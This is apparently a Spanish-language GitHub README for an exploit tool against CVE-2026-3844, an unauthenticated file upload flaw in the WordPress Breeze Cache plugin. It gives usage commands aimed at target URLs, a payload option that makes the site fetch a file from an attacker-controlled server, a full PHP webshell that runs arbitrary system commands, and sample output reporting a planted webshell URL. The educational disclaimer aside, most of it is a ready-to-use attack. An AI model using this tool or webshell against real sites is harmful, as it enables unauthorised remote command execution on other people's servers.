
WordPress - Breeze Cache <= 2.4.4 - Carga Arbitraria de Archivos sin Autenticación
ESTA HERRAMIENTA SE PROPORCIONA SOLO CON FINES EDUCATIVOS Y DE INVESTIGACIÓN EN SEGURIDAD.
El acceso no autorizado a sistemas informáticos es ilegal. Utilice esta herramienta únicamente en
sistemas que le pertenezcan o para los que tenga permiso explícito de prueba. El autor no asume
ninguna responsabilidad por el mal uso o los daños causados por este software.
CVE-2026-3844 es una vulnerabilidad crítica de subida arbitraria de archivos sin autenticación en el plugin Breeze Cache para WordPress (versiones ≤ 2.4.4). El plugin no valida correctamente el parámetro srcset en los comentarios, lo que permite a atacantes remotos subir archivos maliciosos (incluyendo webshells) al servidor.
La vulnerabilidad explota la funcionalidad de caché de Gravatar en Breeze. Cuando se publica un comentario con un parámetro srcset especialmente manipulado que contiene una URL de archivo remoto, Breeze descarga y almacena el archivo localmente en:
/wp-content/cache/breeze-extra/gravatars/[marcador_aleatorio][extensión_del_archivo]
Requisito previo: La opción "Host Files Locally - Gravatars" debe estar habilitada en la configuración de Breeze.
# Clonar el repositorio
git clone https://github.com/0xgh057r3c0n/CVE-2026-3844.git
cd CVE-2026-3844
# Instalar dependencias
pip install pycurl termcolor
python3 CVE-2026-3844.py -u http://target.com
# Comprobar si el objetivo es vulnerable sin explotarlo
python3 CVE-2026-3844.py -u http://target.com --check-only
# Usar una URL de payload personalizada
python3 CVE-2026-3844.py -u http://target.com -p http://your-server.com/payload.php
# Guardar la salida en un archivo
python3 CVE-2026-3844.py -u http://target.com -o shells.txt
# Aumentar el tiempo de espera para objetivos lentos
python3 CVE-2026-3844.py -u http://target.com --timeout 30
| Argumento | Descripción |
|---|---|
-u, --url | URL del objetivo (obligatorio) |
-p, --payload | URL del payload remoto |
--timeout | Tiempo de espera de la solicitud en segundos (por defecto: 15) |
--check-only | Solo comprobar si el objetivo es vulnerable |
-o, --output | Guardar la URL del shell en un archivo |
Cree su propio webshell (shell.php):
<?php
if(isset($_REQUEST['cmd'])) {
echo "<pre>";
system($_REQUEST['cmd']);
echo "</pre>";
}
?>
Alójelo en algún lugar accesible y luego use:
python3 CVE-2026-3844.py -u http://target.com -p http://your-server.com/shell.php
El exploit comprueba automáticamente la cadena de verificación 4356452d323032362d33383434 (codificación hexadecimal de "CVE-2026-3844") en el archivo subido para confirmar la explotación exitosa.
[*] FASE 1: EVALUACIÓN DE VULNERABILIDAD
[*] Comprobando la versión del plugin Breeze...
[+] Objetivo VULNERABLE (Breeze v2.4.4)
[*] FASE 2: EXPLOTACIÓN
[!] REQUISITO: 'Host Files Locally - Gravatars' DEBE ESTAR HABILITADO
[*] Paso 1: Enviando comentario malicioso...
[+] Comentario publicado correctamente
[*] Paso 2: Esperando a que Breeze almacene el archivo en caché...
[*] Paso 3: Comprobando el archivo subido...
[+] Archivo encontrado en: http://target.com/wp-content/cache/breeze-extra/gravatars/x7k3m9p2.php
[+] CADENA DE VERIFICACIÓN ENCONTRADA - EXPLOTACIÓN EXITOSA!
[✓] ESTADO: ÉXITO
[✓] URL DEL WEBSHELL: http://target.com/wp-content/cache/breeze-extra/gravatars/x7k3m9p2.php
CVE-2026-3844/
├── CVE-2026-3844.py # Script principal de explotación
├── README.md # Este archivo
└── LICENSE # Licencia MIT
Este proyecto está licenciado bajo la Licencia MIT - consulte el archivo LICENSE para más detalles.
Si encuentra útil esta herramienta, ¡por favor dele una estrella ⭐ en GitHub!